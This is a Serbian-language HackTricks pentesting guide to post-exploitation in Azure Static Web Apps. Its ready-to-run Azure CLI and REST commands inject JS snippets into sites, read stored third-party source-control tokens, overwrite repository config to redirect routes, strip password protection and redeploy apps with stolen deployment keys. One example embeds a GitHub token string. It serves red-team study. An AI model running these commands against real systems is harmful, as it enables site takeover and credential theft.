Az - Static Web Apps Post Exploitation

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure Static Web Apps

Za više informacija o ovoj usluzi proverite:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

Moguće je napraviti statičku web stranicu koja učitava proizvoljni HTML kod kreiranjem snippeta. Ovo bi moglo omogućiti napadaču da ubrizga JS kod unutar web aplikacije i ukrade osetljive informacije kao što su akreditivi ili mnemoničke ključeve (u web3 novčanicima).

Sledeća komanda kreira snippet koji će uvek biti učitan od strane web aplikacije::

bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Pročitajte Konfigurisane Treće Strane Akreditive

Kao što je objašnjeno u sekciji App Service:

Az - App Services Privesc

Pokretanjem sledeće komande moguće je pročitati akreditive treće strane konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani za drugog korisnika, nećete moći da pristupite tokenu iz drugog.

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.

Evo nekoliko primera komandi za proveru tokena:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Prepisivanje fajla - Prepisivanje ruta, HTML, JS...

Moguće je prepisati fajl unutar Github repozitorijuma koji sadrži aplikaciju putem Azure-a, šaljući zahtev sa Github tokenom kao što je sledeći, koji će označiti putanju fajla koji treba prepisati, sadržaj fajla i poruku o komitu.

Ovo mogu zloupotrebiti napadači da suštinski promene sadržaj web aplikacije kako bi servirali maliciozan sadržaj (ukrali akreditive, mnemoničke ključeve...) ili samo da preusmere određene putanje na svoje servere prepisivanjem staticwebapp.config.json fajla.

warning

Imajte na umu da ako napadač uspe da kompromituje Github repozitorijum na bilo koji način, takođe može direktno prepisati fajl sa Github-a.

bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

Sa ovom dozvolom, moguće je izmeniti lozinku koja štiti statičku web aplikaciju ili čak ukloniti zaštitu sa svake okoline slanjem zahteva kao što je sledeći:

bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

Ova dozvola omogućava dobijanje API ključa za token za implementaciju za statičku aplikaciju:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Zatim, da biste ažurirali aplikaciju koristeći token, možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom kako Github Action https://github.com/Azure/static-web-apps-deploy funkcioniše, jer je to ono što je Azure postavio kao podrazumevano za korišćenje. Tako da se slika i parametri mogu promeniti u budućnosti.

tip

Da biste implementirali aplikaciju, možete koristiti swa alat iz https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ili pratiti sledeće sirove korake:

  1. Preuzmite repo https://github.com/staticwebdev/react-basic (ili bilo koji drugi repo koji želite da implementirate) i pokrenite cd react-basic.
  2. Promenite kod koji želite da implementirate
  3. Implementirajte ga pokretanjem (Zapamtite da promenite <api-token>):
bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

warning

Čak i ako imate token, nećete moći da implementirate aplikaciju ako je Politika autorizacije implementacije postavljena na Github. Za korišćenje tokena biće vam potrebna dozvola Microsoft.Web/staticSites/write da promenite metodu implementacije da koristi APi token.

Microsoft.Web/staticSites/write

Sa ovom dozvolom je moguće promeniti izvor statičke web aplikacije na drugi Github repozitorijum, međutim, neće biti automatski obezbeđen jer to mora biti urađeno iz Github akcije.

Međutim, ako je Politika autorizacije implementacije postavljena na Github, moguće je ažurirati aplikaciju iz novog izvora repozitorijuma!.

U slučaju da Politika autorizacije implementacije nije postavljena na Github, možete je promeniti sa istom dozvolom Microsoft.Web/staticSites/write.

bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

Primer Github akcije za implementaciju aplikacije:

yaml
name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

Sa ovom dozvolom je moguće resetovati API ključ statičke web aplikacije potencijalno DoSing radne tokove koji automatski implementiraju aplikaciju.

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

Ova dozvola omogućava kreiranje pozivnice za korisnika da pristupi zaštićenim putanjama unutar statičke web aplikacije sa određenom dodeljenom ulogom.

Prijava se nalazi na putanji kao što je /.auth/login/github za github ili /.auth/login/aad za Entra ID, a korisnik može biti pozvan sledećom komandom:

bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

Podrazumevano, Pull Requests iz grane u istom repozitorijumu će biti automatski kompajlirani i izgrađeni u staging okruženju. Ovo bi moglo biti zloupotrebljeno od strane napadača sa pristupom za pisanje u repozitorijum, ali bez mogućnosti da zaobiđe zaštitu grane produkcijske grane (obično main) da implementira zloćudnu verziju aplikacije u staging URL-u.

Staging URL ima ovaj format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> kao: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

tip

Imajte na umu da podrazumevano spoljašnji PR-ovi neće pokretati radne tokove osim ako nisu spojili barem 1 PR u repozitorijum. Napadač bi mogao poslati validan PR u repozitorijum i zatim poslati zloćudni PR u repozitorijum da implementira zloćudnu aplikaciju u staging okruženju. MEĐUTIM, postoji neočekivana zaštita, podrazumevani Github Action za implementaciju u statičku web aplikaciju treba pristup tajni koja sadrži token za implementaciju (kao što je secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) čak i ako se implementacija vrši sa IDToken-om. To znači da pošto spoljašnji PR neće imati pristup ovoj tajni i spoljašnji PR ne može promeniti Workflow da ovde postavi proizvoljni token bez da PR bude prihvaćen, ova napad neće zaista uspeti.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks